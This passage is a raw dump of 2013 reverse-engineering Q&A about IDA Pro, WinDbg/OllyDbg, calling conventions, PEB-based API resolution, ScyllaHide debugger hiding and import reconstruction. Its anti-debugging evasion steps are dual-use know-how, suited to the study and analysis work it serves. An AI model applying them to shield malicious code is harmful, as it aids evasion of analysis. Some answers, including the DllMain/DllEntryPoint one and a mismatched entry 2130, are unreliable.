If you want the see the effect of passing different instructions through a pipeline what you want is a profiler.

\n\n

If you want a tool that will allow you to analyse the progress of the uOPs through the entire pipeline look for things like Marss86 which simulates down to the uOp level and will allow you to see the goings on inside the pipeline at least of the architecture they simulate. Note that there are various implementations of the x86 pipelines and your simulator of choice may or may not implement the exact one you are intending to target.

\n" }, { "Id": "2070", "CreationDate": "2013-05-22T08:29:47.090", "Body": "

I have compiled following C source code in VS2010 console project.

\n\n
#include <stdio.h>\nint main(int argc, char* argv[]){\n    printf(\"hello world\\n\");\n    return 0;\n}\n
\n\n

then I used /MT option for release mode to statically link the C-runtime library.\nHowever, as far as I know, C-runtime library still invokes lower level system functions - \nfor example, C-runtime function printf eventually calls WriteFile Windows API.

\n\n

And the actual function body of WriteFile is in kernel32.dll.\nSo, even if I link the C-runtime library statically, the binary doesn't contain\nthe entire routine including the SYSENTER, or INT 0x2E instructions...\nThe core part is still in a DLL. The following diagram describes how I understand it:

\n\n

\"enter

\n\n

What I want is to statically link EVERYTHING into single EXE file. Including kernel32.dll, user32.dll to eliminate the necessity of loader parsing the IAT and resolving the function names.

\n\n

The following picture describes what I want:

\n\n

\"enter

\n\n

I understand this is simple in Linux with gcc. All I have to do is give the option -static

\n\n

Is there any option like this in VS2010? Please correct me if I'm misunderstanding.

\n", "Title": "Can I statically link (not import) the Windows system DLLs?", "Tags": "|windows|dll|compilers|symbols|dynamic-linking|", "Answer": "

Other people have mentioned the downsides of this, but if you're still interested in this path, then here's a lib that converts the ntdll API names into syscalls.

\n" }, { "Id": "2073", "CreationDate": "2013-05-22T14:42:12.397", "Body": "

When execution enters a new function by performing call I do often see this code template (asm list generated by Gnu Debugger when in debugging mode):

\n\n
0x00401170  push   %ebp\n0x00401171  mov    %esp,%ebp\n0x00401173  pop    %ebp\n
\n\n

So what's the purpose of moving esp to ebp?

\n", "Title": "What purpose of mov %esp,%ebp?", "Tags": "|disassembly|", "Answer": "

I like Robert explanation, it has a very good example, but.. I think it misses the point of which is the real purpose of this instruction.

\n\n
\n

is done as a debugging aid and in some cases for exception handling

\n
\n\n

Well.. not really, not only. It is part of the standard function prologue for x86 (32 bit), and it is the (common) technique to set up a function stack frame, so that parameters and locals are accessible as fixed offsets of ebp, which is, after all, the *B*ase frame *P*ointer.

\n\n

Making ebp equal to esp at function entry, you will have a fixed, relative pointer inside the stack, that will not change for the lifetime of your function, and you will able to access parameters and locals as (fixed) positive and (fixed) negative offsets, respectively, to ebp.

\n\n

You can or cannot see this standard prologue in release, optimized code: optimizers can do (and often do) FPO (frame pointer optimization) to get rid of ebp and just use esp inside your function to access params and locals. This is much trickier (I would not do it by hand) as esp can vary during the function lifetime, and therefore a parameter, for example, can be accessed using 2 different offsets at two distinct points in the code.

\n" }, { "Id": "2079", "CreationDate": "2013-05-22T19:33:34.490", "Body": "

I have a piece a malware to analyze. It is a DLL according to the IMAGE_FILE_HEADER->Characteristics. I was trying to do some dynamic analysis on it. I have done the following:

\n\n

So I moved on to static analysis, Loaded on IDA and OllyDbg.\nWhich brings me to my question. :)

\n

What is the main difference between DllMain and DllEntryPoint?

\n

When/How does one get call vs the other?

\n

[EDIT]

\n

So after reading MSDN and a couple of books on MS programming. I understand DllEntryPoint.\nDllEntryPoint is your DllMain when writing your code. Right?!\nSo then why have DllMain. In other words, when opening the binary in IDA you have DllEntryPoint and DllMain.

\n

I know it is probably something easy but I am visual person, so obviously not seeing something here.

\n", "Title": "Difference between DllMain and DllEntryPoint", "Tags": "|windows|malware|dll|", "Answer": "

When loading time is involved the entry point is DllMain.
\n(Ex. COM in-process server DLL).
\nWhen running time is involved the entry point is DllEntryPoint.
\n(Ex. LoadLibrary get called).

\n" }, { "Id": "2082", "CreationDate": "2013-05-23T04:11:09.953", "Body": "

Are there any good WinDbg hiding plugins like OllyDbg's? Or a plugin that's open source and still in development for this purpose?

\n", "Title": "Debugger hiding plugin for WinDbg?", "Tags": "|debuggers|anti-debugging|windbg|", "Answer": "

You can use ScyllaHide. There are plugins for many debuggers, but it is also possible to use InjectorCLI.exe to inject ScyllaHide into any process. Here are the steps (for a 32 bit process, if you want a 64 bit process, replace every x86 with x64):

\n\n
    \n
  1. Extract ScyllaHide (download) anywhere;
    2. \n
  2. Run NtApiTool\\x86\\PDBReaderx86.exe and when it's finished, copy NtApiCollection.ini to the same directory as InjectorCLIx86.exe;
    3. \n
  3. Open ScyllaTest_x86.exe with WinDbg (x86) you should be in LdrpDoDebuggerBreak;
    4. \n
  4. Execute InjectorCLIx86.exe ScyllaTest_x86.exe HookLibraryx86.dll;
    5. \n
  5. Run (F5) in WinDbg.
    6. \n
\n\n

Without using ScyllaHide:

\n\n

\"no

\n\n

When using ScyllaHide:

\n\n

\"hiding\"

\n\n

This process works for any debugger, if you feel like it you can even make an actual plugin for WinDbg. It should be quite easy.

\n\n

I just added an option to inject to a process by process id. You can do this with:

\n\n
InjectorCLIx86.exe pid:1234 HookLibraryx86.dll\n
\n" }, { "Id": "2092", "CreationDate": "2013-05-24T20:33:55.447", "Body": "

while reading the answers to Can I statically link (not import) the Windows system DLLs? I came up with another question. So:

\n\n
    \n
  1. Is there a way to write a program that has no dependencies (nothing is statically compiled too - it has only my code) and everything is resolved during run-time assuming that kernel32.dll will be loaded/mapped into the process no matter what?
    2. \n
  2. Is my assumption about kernel32.dll correct?
    3. \n
\n\n

During run-time, I mean using the PEB structure.

\n", "Title": "Program with no dependencies", "Tags": "|windows|malware|development|winapi|", "Answer": "

Yes.

\n\n
    \n
  1. Find the address of kernel32 using anyone of the known tricks (PEB or any other way)
    2. \n
  2. Implement a simple export section parser and find the address of LoadLibrary and GetProcAddress.
    3. \n
  3. Use those to load any other API you want.
    4. \n
\n" }, { "Id": "2096", "CreationDate": "2013-05-25T19:15:24.437", "Body": "

How could this 32-bit x86 assembly be written in C?

\n\n
loc_536FB0:\nmov cl, [eax]\ncmp cl, ' '\njb short loc_536FBC\ncmp cl, ','\njnz short loc_536FBF\n\nloc_536FBC:\nmov byte ptr [eax], ' '\n\nloc_536FBF\nmov cl, [eax+1]\ninc eax\ntest cl, cl\njnz short loc_536FB0\n
\n\n

I have already figured out that it is a for loop that loops 23 times before exiting.

\n", "Title": "convert this x86 ASM to C?", "Tags": "|assembly|x86|c|", "Answer": "

You can use r2dec plugin on radare2 with command pdda

\n
[0x08048060]> pdda\n; assembly                               | /* r2dec pseudo code output */\n                                         | /* ret @ 0x8048060 */\n                                         | #include <stdint.h>\n                                         |  \n; (fcn) entry0 ()                        | int32_t entry0 (void) {\n                                         |     do {\n                                         |         /* [01] -r-x section size 23 named .text */\n0x08048060 mov cl, byte [eax]            |         cl = *(eax);\n0x08048062 cmp cl, 0x20                  |         \n                                         |         if (cl >= 0x20) {\n0x08048065 jb 0x804806c                  |             \n0x08048067 cmp cl, 0x2c                  |             \n                                         |             if (cl != 0x2c) {\n0x0804806a jne 0x804806f                 |                 goto label_0;\n                                         |             }\n                                         |         }\n0x0804806c mov byte [eax], 0x20          |         *(eax) = 0x20;\n                                         | label_0:\n0x0804806f mov cl, byte [eax + 1]        |         cl = *((eax + 1));\n0x08048072 inc eax                       |         eax++;\n0x08048073 test cl, cl                   |         \n0x08048075 jne 0x8048060                 |         \n                                         |     } while (cl != 0);\n                                         | }\n[0x08048060]> \n
\n" }, { "Id": "2098", "CreationDate": "2013-05-25T20:10:23.460", "Body": "

For example, in the following disassembly:

\n\n
.text:007C6834 014                 mov     eax, [esi+4]\n.text:007C6837 014                 mov     dword ptr [esi], offset ??_7CAvatar@@6B@ ; const CAvatar::`vftable'\n
\n\n

How would I be able to set the type of the esi register to a struct, so that in an ideal world the disassembly would turn into:

\n\n
.text:007C6834 014                 mov     eax, [esi.field_04]\n.text:007C6837 014                 mov     dword ptr [esi.vtable], offset ??_7CAvatar@@6B@ ; const CAvatar::`vftable'\n
\n", "Title": "How do you set registers as structs within a function in IDA?", "Tags": "|ida|disassembly|struct|", "Answer": "

Igor is right on, here are a few additional tips I have to offer.

\n\n

Make sure when declaring variables within your structure, that you are accurately accommodating for the size of the variable. For example, is it a DWORD or some other multibyte buffer (maybe a memset/memcpy can give you a clue on its size here in these cases)?

\n\n

Accurately accounting for these kinds of things is important when dealing with structures with many objects. It can help with your overall understanding of how it is used within the program, as well as further defining structure members

\n\n

Also, keep in mind you can name the fields as you normally would any other variable in IDA. To be thorough, you can also declare the field type in the structure tab, to do this, right-click the field, then select field type.

\n\n

Finally, when declaring the size of a multibyte array within a structure for example, you can actually do so in hex by just pre-pending '0x' in the array size field. Doesn't seem like much but it's a small tip that can come in handy.

\n\n

There is so much more to explore concerning structures and their use within IDA. If you are looking to learn more about this and IDA in general, then I would highly recommend Chris Eagle's IDA Pro Book.

\n\n

http://www.idabook.com/

\n" }, { "Id": "2119", "CreationDate": "2013-05-28T12:17:15.000", "Body": "

For learning (and fun) I have been analyzing a text editor application using IDA Pro. While looking at the disassembly, I notice many function calls are made by explicitly calling the name of the function. For example, I notice IDA translates most function calls into the following two formats.

\n\n
call cs:CoCreateInstance\n
\n\n

Or

\n\n
call WinSqmAddToStream\n
\n\n

But sometimes the format does not use a function name. The following example includes the code leading up to the line in question. The third line of code seem to be \"missing\" the function name. (The comments are my own.)

\n\n
mov rcx, [rsp+128h+var_D8]    // reg CX gets the address at stack pointer+128h+var_D8 bytes \nmov r8, [rcx]                 // the address at reg CX is stored to reg r8\ncall qword ptr [r8 + 18h]     // at address rax+18h, call function defined by qword bytes \n
\n\n

My questions are as follows:

\n\n
    \n

  1. How do I make the connection between call qword ptr <address> and a function in the disassembly?

    2. \n

  2. I understand that IDA cannot use a function name here since it does not know the value stored at the register R8... so what causes this? Was there a certain syntax or convention used by the developer? In other words, did the developer call the function WinSqmAddToStream in a different manner than the function at [r8+18h]?

    3. \n
\n", "Title": "What to do when IDA cannot provide a function name?", "Tags": "|ida|disassembly|", "Answer": "

The trick is to find the object's constructor. Let's suppose the code looks like this:

\n\n
a = new CFoo();\na->bar();\n
\n\n

The compiler (I assume MSVC, 32bits) might produce something like this:

\n\n
push 12h ; size_t\ncall ??2@YXYXY@Z  ; operator new(uint)\nmov [ebp+var_8], eax\nmov esi, eax\ntest esi, esi\njz loc_1\n  mov ecx, esi\n  call ??0CFoo@@AAAA@AA ; CFoo::CFoo(void)\n  mov [ebp+var_8], eax\n  jmp loc_2\nloc_1:\n  mov [ebp+var_8], 0\nloc_2:\n...\n...\n...\nmov eax, [ebp+var_8]\nmov ecx, [eax]\nmov ebx, ecx\nmov ecx, [ebp+var_8]\ncall dword ptr [ebx+08h]\n
\n\n

Looking at ??0CFoo@@AAAA@AA, a.k.a. CFoo::CFoo():

\n\n
...\nmov esi, ecx\nmov dword ptr [esi], unk_12345\n...\n
\n\n

unk_12345 is CFoo's virtual table offset:

\n\n
unk_12345:\n  dd offset sub_23456\n  dd offset sub_34567\n  dd offset sub_45678\n  ...\n
\n\n

And that sub_45678 at unk_12345+08h (which would be 3rd entry, in this case) is what gets called, i.e. CFoo::bar().

\n" }, { "Id": "2123", "CreationDate": "2013-05-28T14:52:22.493", "Body": "

I'm looking for a way to view memory permissions on a specific section of memory using OllyDbg (technically I'm using Immunity but I'm assuming if it exists in Olly it'll be the same there).

\n\n

The program I'm looking at is calling VirtualProtect to make a block of code go RW->RWE, but the result looks like the protection is extending to 4 bytes before the address passed in as a parameter. I checked the MSDN and it said that there is a rounding/boundary extension with t VirtualProtect with respect to the size, but it doesn't say specifically how the extensions get propagated across pages.

\n\n

I'm confident that's what's happening but I wanted to look at the memory permissions for the specific segment to confirm. It doesn't look like the Memory map refreshes after the call to VP and I couldn't find another place to show the memory permissions. On WinDbg I can do something like !vprot so I was curious if there was something similar here.

\n", "Title": "Viewing memory permissions in Ollydbg for memory segments", "Tags": "|windows|ollydbg|", "Answer": "

ollydbg 1.10 automatically refreshes the memory window when protection attributes are changed if the address that is passed on to VirtualProtect lies in the first allocated page

\n\n

if subsequent page's attributes were changed using Virtualprotect ollydbg's memory window wont reflect them as it shows the complete allocated Size as one contiguous dump

\n\n

windbg !vprot will show the modified protection attributes only if you traverse page by page

\n\n

in ollydbg 2.01 memory window will show attribute changes page by page automatically

\n\n

an example

\n\n
int _tmain(int argc, _TCHAR* argv[])\n{\n    printf(\"lets valloc \\n\");\n    PCHAR foo;\n    foo = (PCHAR)VirtualAlloc(0,0x1004,MEM_COMMIT,PAGE_READONLY);\n    printf(\"we valloced lets vprot\\n\");\n    DWORD oldprot;\n    if (  (VirtualProtect(foo+0x1000,1,PAGE_EXECUTE_READWRITE,&oldprot) == FALSE) )\n    {\n        printf(\"our vprot failed\\n\");\n        return FALSE;\n    }\n    if (  (VirtualProtect(foo+0xfff,1,PAGE_EXECUTE_READWRITE,&oldprot) == FALSE) )\n    {\n        printf(\"our vprot failed\\n\");\n        return FALSE;\n    }\n    printf(\"we vprotted fine \\n\");\n    return 0;\n}\n
\n\n

ollydbg 1.10 memory window Display will be same after VirtualAlloc and after first Virtualprotect

\n\n

display will change only after second VirtualProtect

\n\n
Memory map, item 19\n Address=003A0000\n Size=00002000 (8192.)\n Owner=         003A0000 (itself)\n Section=\n Type=Priv 00021002\n Access=R\n Initial access=R\n
\n\n

after second Virtualprotect

\n\n
Memory map, item 19\n Address=003A0000\n Size=00002000 (8192.)\n Owner=         003A0000 (itself)\n Section=\n Type=Priv 00021040\n **Access=RWE**\n Initial access=R\n
\n\n

windbg will show changed attribute only if traversed page by page

\n\n
0:000> g\nModLoad: 5cb70000 5cb96000   C:\\WINDOWS\\system32\\ShimEng.dll\nBreakpoint 0 hit\n>    8: {\n0:000> p\n>    9:     printf(\"lets valloc \\n\");\n0:000> p\n>   11:     foo = (PCHAR)VirtualAlloc(0,0x1004,MEM_COMMIT,PAGE_READONLY);\n0:000> p\n>   12:     printf(\"we valloced lets vprot\\n\");\n0:000> ?? foo\nchar * 0x003a0000\n \"\"\n0:000> !vprot @@c++(foo)\nBaseAddress:       003a0000\nAllocationBase:    003a0000\nAllocationProtect: 00000002  PAGE_READONLY\nRegionSize:        00002000\nState:             00001000  MEM_COMMIT\nProtect:           00000002  PAGE_READONLY\nType:              00020000  MEM_PRIVATE\n0:000> p\n>   14:     if (  (VirtualProtect(foo+0x1000,1,PAGE_EXECUTE_READWRITE,&oldprot) == FALSE) )\n0:000> p\n>   19:     if (  (VirtualProtect(foo+0xfff,1,PAGE_EXECUTE_READWRITE,&oldprot) == FALSE) )\n0:000> !vprot @@c++(foo)\nBaseAddress:       003a0000\nAllocationBase:    003a0000\nAllocationProtect: 00000002  PAGE_READONLY\nRegionSize:        00001000\nState:             00001000  MEM_COMMIT\nProtect:           00000002  PAGE_READONLY\nType:              00020000  MEM_PRIVATE\n\n0:000> !vprot (@@c++(foo)+1000)\nBaseAddress:       003a1000\nAllocationBase:    003a0000\nAllocationProtect: 00000002  PAGE_READONLY\nRegionSize:        00001000\nState:             00001000  MEM_COMMIT\nProtect:           00000040  PAGE_EXECUTE_READWRITE\nType:              00020000  MEM_PRIVATE\n
\n\n

ollydbg 2.01 will show any changes instantly note memory map item no and address

\n\n
Memory map, item 19\n  Address = 003A0000\n  Size = 00002000 (8192.)\n  Owner =                 003A0000 (self)\n  Section =\n  Contains =\n  Type = Priv 00021002\n  Access = R\n  Initial access = R\n  Mapped as =\n
\n\n

after first Virtualprotect

\n\n
Memory map, item 20\n  Address = 003A1000\n  Size = 00001000 (4096.)\n  Owner =                 003A0000\n  Section =\n  Contains =\n  Type = Priv 00021040\n  Access = RWE\n  Initial access = R\n  Mapped as =\n
\n" }, { "Id": "2127", "CreationDate": "2013-05-28T16:36:23.640", "Body": "

I am reverse engineering some code from which IDA has generated the following disassembly. These specific lines of code are just for illustrative purposes. Notice that the third line does not call a specifc function by its name but rather by its address.

\n\n
mov rcx, [rsp+128h+var_D8]    // reg CX gets the address at stack pointer+128h+var_D8 bytes \nmov r8, [rcx]                 // the address at reg CX is stored to reg r8\ncall qword ptr [r8 + 18h]     // at address rax+18h, call function defined by qword bytes\n
\n\n

I'm interested in determining which function is being called. What mechanisms, tools, tricks, etc. can I use to determine which function in the dissassembly a call qword ptr <address> is referring to? I'm up for trying other disassembler programs.

\n\n

From an answer to my previous question, this is known as an \"indirect call\" or (perhaps a \"virtual function call\"). The disassembly has many of these, so how do I resolve them? In addition, IDA has identified hundreds of functions. How do I go about figuring out which one was actually being called during any given indirect call (or virtual call)?

\n", "Title": "How to identify function calls in IDA Pro's disassembly?", "Tags": "|ida|disassembly|virtual-functions|", "Answer": "

The easiest way to find out the function in question would probably be by dynamic analysis. You can easily do this by placing a breakpoint on that instruction in a debugger and examining the registers.

\n\n

A more general solution would probably involve some scripting to record all calls and add that information to the IDA database. Funcap plugin does something similar if not exactly what you are looking for:

\n\n
\n

This script records function calls (and returns) across an executable using IDA debugger API, along with all the arguments passed. It dumps the info to a text file, and also inserts it into IDA's inline comments. This way, static analysis that usually follows the behavioral runtime analysis when analyzing malware, can be directly fed with runtime info such as decrypted strings returned in function's arguments.

\n
\n" }, { "Id": "2130", "CreationDate": "2013-05-28T19:21:45.277", "Body": "

In the IDA view I see (glb_SomeVar is a byte array):

\n\n
cmp al, glb_SomeVar+22h\n
\n\n

But when I hit x to find the cross references of glb_SomeVar, I only find two other matches in the same function:

\n\n
cmp al, glb_SomeVar+0Ah\ncmp al, glb_SomeVar+0Bh\n
\n\n

Is there a way to fix this, like making IDA re-analyze the selected function or even the whole code? I guess at other places, there are cross references missing too.

\n", "Title": "IDA is not recognizing cross references", "Tags": "|ida|", "Answer": "

I think the default in IDA 6.8 is a Cross reference depth of 16. I increased this first to 32 and then to 1024 and then to 65535 (because why not). None of this led to my xref working as desired so I must not understand something.

\n\n

I'm analyzing an ARM ELF shared object file. The function I'm looking at is called by a function referenced by an offset in the .init_array segment (not sure if that's relevant). The offset I want to see all references of is:

\n\n
.bss:00424778 ; void *dword_424778\n.bss:00424778 dword_424778    % 4\n
\n\n

It was originally identified as unk_424778 but I pressed Y and set the type was \"void *\".

\n\n

Hex Rays shows this assignment:

\n\n
    dword_424778 = &_sF;\n
\n\n

Using HexRaysCodeXplorer I press J to jump back to disassembly from Hex Rays. It put me on line 0026D69C:

\n\n
...\n.text:0026D668                 LDR             R5, [R4,R2] ; unk_424758\n.text:0026D66C                 ADD             R0, R5, #0x1C\n.text:0026D670                 STMIA           R5, {R3,R7}\n.text:0026D674                 STR             R7, [R5,#8]\n.text:0026D678                 STR             R7, [R5,#0xC]\n.text:0026D67C                 STR             R7, [R5,#0x10]\n.text:0026D680                 STR             R7, [R5,#0x14]\n.text:0026D684                 STR             R7, [R5,#0x18]\n.text:0026D688                 BL              sub_26F42C\n.text:0026D68C                 LDR             R2, =(off_374A30 - 0x374C20)\n.text:0026D690                 LDR             R3, [SP,#0x38+var_34]\n.text:0026D694                 STR             R9, [R5]\n.text:0026D698                 STR             R8, [R5,#0x24]\n.text:0026D69C                 STR             R11, [R5,#0x20]\n...\n
\n\n

I don't know ARM very well but I read that the STMIA R5, {R3,R7} will result in unpredictable behavior due to the reglist ({R3,R7}) starting with a lower-number register than Rn (R5).

\n\n

Could the problem be related to dword_424778 being in the .bss section?

\n" }, { "Id": "2133", "CreationDate": "2013-05-29T16:04:24.183", "Body": "

The title says most of it. Say I have a Windows PE (x86, 32bit) binary (just so we have case to discuss), the imports list will usually only show the imports found in the import directory. The attributes it shows are address of the function, name and library from which it got imported as shown in this screenshot snippet:

\n\n

\"Screenshot

\n\n

Is there a way for me through scripting (IDC or Python, I don't care too much), to add imports of my own to the list and, for example, have them point (the address attribute) to code such as this (highlighted line)?:

\n\n

\"Dynamically

\n\n

I.e. the line would in such case look like:

\n\n
0DCBA987     GetLongPathNameW       kernel32.dll\n
\n\n

or even just

\n\n
0DCBA987     GetLongPathNameW       ???\n
\n\n

assuming the above call GetProcAddress would be at address 0DCBA987.

\n\n

The advantage to me would be readability. But it would also yield a more comprehensive list of imports (and consequently xrefs) as some functions are frequently imported dynamically due to their availability in the various Windows versions.

\n\n

It should be quite trivial given a certain binary to figure out all xrefs to candidate functions that retrieve the imported function's address (such as GetProcAddress) and then walk their calls to find which function was imported. The DLL part may be more complicated to find out, but it could be left empty or entered manually. But I didn't find a function that would allow me to add imports. Is there a way?

\n", "Title": "In IDA, is there a way to add a reference to a dynamically imported function into the Imports tab?", "Tags": "|ida|idapython|import-reconstruction|ida-plugin|", "Answer": "

If you can not add something to the imports viewer you can write your own.\nHere is the simple example (it is slightly modified example referenced at this hexblog entry and located here with added double-click functionality, added columns, removed exports and fixed bug for a case of unknown origin of the imported function). See the function BuildImports for creating additional imports (manual_func1 and manual_func2)

\n\n
import idaapi\nimport idautils\nfrom idaapi import PluginForm\nfrom PySide import QtGui, QtCore\n\nclass ImpExpForm_t(PluginForm):\n\n    def imports_names_cb(self, ea, name, ord):\n        self.items.append((ea, '' if not name else name, ord))\n        # True -> Continue enumeration\n        return True\n\n    def BuildImports(self):\n        tree = {}\n        nimps = idaapi.get_import_module_qty()\n\n        for i in xrange(0, nimps):\n            name = idaapi.get_import_module_name(i)\n            if not name:\n                name = \"unknown\"\n            # Create a list for imported names\n            self.items = []\n\n            # Enum imported entries in this module\n            idaapi.enum_import_names(i, self.imports_names_cb)\n\n            if name not in tree:\n                tree[name] = []\n            tree[name].extend(self.items)\n        tree[\"manually_added\"] = [(0x01, \"manual_func1\", 3), (0x02, \"manual_func2\",4)]\n\n        return tree\n\n    def PopulateTree(self):\n        # Clear previous items\n        self.tree.clear()\n\n        # Build imports\n        root = QtGui.QTreeWidgetItem(self.tree)\n        root.setText(0, \"Imports\")\n\n        for dll_name, imp_entries in self.BuildImports().items():\n            imp_dll = QtGui.QTreeWidgetItem(root)\n            imp_dll.setText(0, dll_name)\n\n            for imp_ea, imp_name, imp_ord in imp_entries:\n                item = QtGui.QTreeWidgetItem(imp_dll)\n                item.setText(0, \"%s\" % imp_name)\n                item.setText(1, \"0x%08x\" % imp_ea)\n                item.setText(2, \"0x%08x\" % imp_ord)\n\n    def dblclick(self, item):\n        try:\n            idaapi.jumpto(int(item.text(1).encode(\"ascii\", \"ignore\"), 16))\n        except:\n            print \"Can not jump\"\n\n\n    def OnCreate(self, form):\n        \"\"\"\n        Called when the plugin form is created\n        \"\"\"\n        # Get parent widget\n        self.parent = self.FormToPySideWidget(form)\n\n        # Create tree control\n        self.tree = QtGui.QTreeWidget()\n        self.tree.setColumnCount(4)\n        self.tree.setHeaderLabels((\"Names\",\"Address\", \"Ordinal\", \"Source\"))\n        self.tree.itemDoubleClicked.connect(self.dblclick)\n        self.tree.setColumnWidth(0, 100)\n\n        # Create layout\n        layout = QtGui.QVBoxLayout()\n        layout.addWidget(self.tree)\n\n        self.PopulateTree()\n        # Populate PluginForm\n        self.parent.setLayout(layout)\n\n\n    def OnClose(self, form):\n        \"\"\"\n        Called when the plugin form is closed\n        \"\"\"\n        global ImpExpForm\n        del ImpExpForm\n        print \"Closed\"\n\n\n    def Show(self):\n        \"\"\"Creates the form is not created or focuses it if it was\"\"\"\n        return PluginForm.Show(self,\n                               \"Imports / Exports viewer\",\n                               options = PluginForm.FORM_PERSIST)\n\n# --------------------------------------------------------------------------\ndef main():\n    global ImpExpForm\n\n    try:\n        ImpExpForm\n    except:\n        ImpExpForm = ImpExpForm_t()\n\n    ImpExpForm.Show()\n\n# --------------------------------------------------------------------------\nmain()\n
\n" }, { "Id": "2134", "CreationDate": "2013-05-29T21:00:14.810", "Body": "

I have an unknown .dll from another program which I want to work with. With DLL Export Viewer I was able to find the exported functions.

\n\n

\"enter

\n\n

But to call them I need the information about the parameters and the return type.

\n\n\n", "Title": "Get the function prototypes from an unknown .dll", "Tags": "|windows|dll|", "Answer": "

Note: I am assuming 32bit x86 on Windows, your question unfortunately doesn't state for certain. But since it's Windows and you don't explicitly mention x64 this was the sanest assumption I could make.

\n\n

First off, try to search for the function names with a search engine. Don't just settle for a single search engine. Failing that, inspect whatever came in the package with the DLL. Are there import LIBs included? If so, use these to provide clues (may or may not work).

\n\n

Otherwise ...

\n\n

Most disassemblers (read the tag wiki tools) will readily show you exported functions. So locating them won't be a problem at all. They will also usually be shown with their exported names.

\n\n

From the output your screenshot shows, it looks like the names aren't mangled/decorated. This suggests - but is not conclusive proof - that the functions use the stdcall calling convention (better yet read this one by Ange, one of the moderators pro temp here). Now I don't know how much you know, but since you attempt RCE you are probably well-versed in calling conventions. If not let's sum it up like this: calling conventions govern how (order, alignment) and by what means (registers, stack) parameters get passed to functions. We'll get back to this in a moment. If you are on x64 Windows and the DLL is 64bit as well, you can rely on the Microsoft x64 calling convention (read this article).

\n\n

Now there are two main routes you can take

\n\n

Route 1 - analyze a program using the DLL

\n\n

If you happen to have a program that uses the DLL in question, you can use a debugger or disassembler to find out both the calling convention and the number of parameters passed. Simply look out for call instructions referencing the exported DLL functions and find mov or push instructions in front. If you happen to come across cdecl functions, the stack pointer (esp) will be adjusted again after the call. It's possible this is the case (see below for an example), but as unlikely as the various compiler-specific fastcall variants, since stdcall provides the broadest possible compatibility.

\n\n

The methods outlined below in the second approach will also explain some of the concepts introduced here in greater detail.

\n\n

Route 2 - analyzing the DLL itself

\n\n

If you happen to have IDA and you analyze a 32bit DLL, chances are that IDA already identified the number of parameters and the calling convention using its heuristics. Let me demonstrate (using sqlite3.dll). In the Exports tab find a function you're interested in and double-click it. This will take you to the address where the function starts (here sqlite3_open).

\n\n

\"enter

\n\n

As you can see IDA readily found that the function takes two arguments (you can look at the SQLite3 docs to verify this finding). However, there is another thing here. After the call sqlite3_open_v2_0 we can see that the stack pointer is adjusted by 10h (=16) thereby cleaning up four parameters. Looking at the push instructions before the call we can see that indeed four 32bit (i.e. DWORD) parameters are passed via the stack.\nSince there is no further cleanup on part of the function sqlite3_open itself, it is now clear that it is likely following the C calling convention (cdecl) as well. Again we can verify the finding (a benefit you won't have) by looking at the documentation. And indeed since no explicit calling convention is given, you end up defaulting to cdecl. The single retn (some disassemblers will show ret), meaning return, also doesn't clean up the stack, since otherwise it would look like retn 8 or similar.

\n\n

This is a rather small function, but even with the circumstantial information we are able to deduce a lot about it.

\n\n

Now for something stdcall, a case you are more likely to encounter as mentioned before. And why not go for something famous, like, say, kernel32.dll from Windows 7? Again, I'll take a trivial function as it is better to showcase the points. Note that I told IDA not to make use of the debug symbols from Microsoft and to skip using FLIRT signatures. This means some of the good stuff that kicks in by default is being suppressed to show how to identify what's going on. Look:

\n\n

\"enter

\n\n

The green lines are uninteresting for our case, but you'll encounter them a lot. It is commonly found in several compilers and ebp is commonly referred to as \"frame pointer\" (frame as in stack frame), basically an offset on which to base access to the stack variables. You can see a typical use in the line push [ebp+arg_0]. IDA figured this out and shows us Attributes: bp-based frame.

\n\n

We see no adjustment of the stack pointer after call sub_77E29B80, so it looks like that (internal) function follows the stdcall calling convention as well. However, the ret 4 hints that the callee (i.e. the function AddAtomA in this case) is meant to clean up the stack, which means we can exclude cdecl as a possibility. It's four bytes because that is the \"natural\" size on a 32bit system. You can also see from my inline comments, that parameters are passed on the stack in reverse. But you should know such things anyway before engaging in RCE, otherwise read up in the above linked articles and in some books such as those here.

\n\n

In this particular case we could dare to make another assumption, but it could bite us. Say this was Microsoft's fastcall convention (keep in mind that they vary by compiler), then the registers ecx and edx would be used, followed by arguments passed on the stack. This means that in our case we might want to assume that this can't be the case, because those registers aren't saved before calling sub_77E29B80. This is a good argument for machine-generated code such as this one. However, were this hand-optimized code, the programmer could rely on the knowledge about the calling convention and skip saving/restoring the registers before/after the call. Still, in this case hand-optimized code would be less likely (or unlikely) to make use of the frame pointer. It's three instructions that aren't strictly needed to do the job. So arguing like this - even without prior knowledge - we could now set out to write a little program using the prototype:

\n\n
int __stdcall AddAtomA(void* unknown)\n
\n\n

and use a debugger to see what gets passed. It's generally a tedious process, but a lot of the process - especially finding the number of parameters - can likely be scripted. Also, once you have a single function figured out, it's likely that the calling convention would be the same (exceptions exist, of course) throughout the DLL. Just make sure you analyze a function taking at least one parameter, otherwise you won't be able to distinguish between stdcall and cdecl from the circumstantial data.

\n\n

Route X - the ugly one

\n\n

You can also simply use dumpbin or a similar tool to script the creation of a test program. This test program would then call the function, check the stack pointer before and after and could thereby distinguish between stdcall and cdecl. You could also play tricks like passing 20 arguments on the stack (if you want to assume stdcall for the experiment) and see how much of that your callee cleaned up. There are loads of possibilities to simply try instead of analyze. But you'll get better (more reliable) results with the first two approaches.

\n\n

If you need to build an import LIB because you don't want to use GetProcAddress, see this answer by me over on StackOverflow. It shows how to build an import LIB just from the DLL.

\n\n

Conclusion

\n\n

The methods won't differ too much with other disassemblers, I just needed to show things in a way you can reproduce them, that's why I went with IDA. The freeware edition of IDA will likely be sufficient (32bit, PE, x86) - keep in mind it's not permissible for commercial use, though.

\n\n

Screenshots taken from IDA 6.4.

\n" }, { "Id": "2142", "CreationDate": "2013-05-30T22:15:57.203", "Body": "

When reading about unpacking, I sometimes see an \"import reconstruction\" step. What is this and why is it necessary?

\n", "Title": "What is import reconstruction and why is it necessary?", "Tags": "|unpacking|import-reconstruction|", "Answer": "

In a typical, non-packed Windows PE executable, the header contains metadata that describes to the operating system which symbols from other libraries that the executable depends upon. The operating system's loader is responsible for loading those libraries into memory (if they are not already loaded), and for placing the addresses of those imported symbols into structures (whose locations are also specified by the metadata) within the executable's memory image. Packers, on the other hand, often destroy this metadata, and instead perform the resolution stage (which would normally be performed by the loader) itself. The goal of unpacking is to remove the protections from the binary, including the missing import information. So the analyst (or unpacking tool) must determine the collection of imports that the packer loads for the executable, and re-create metadata within the unpacked executable's image that will cause the operating system to properly load the imports as usual.

\n\n

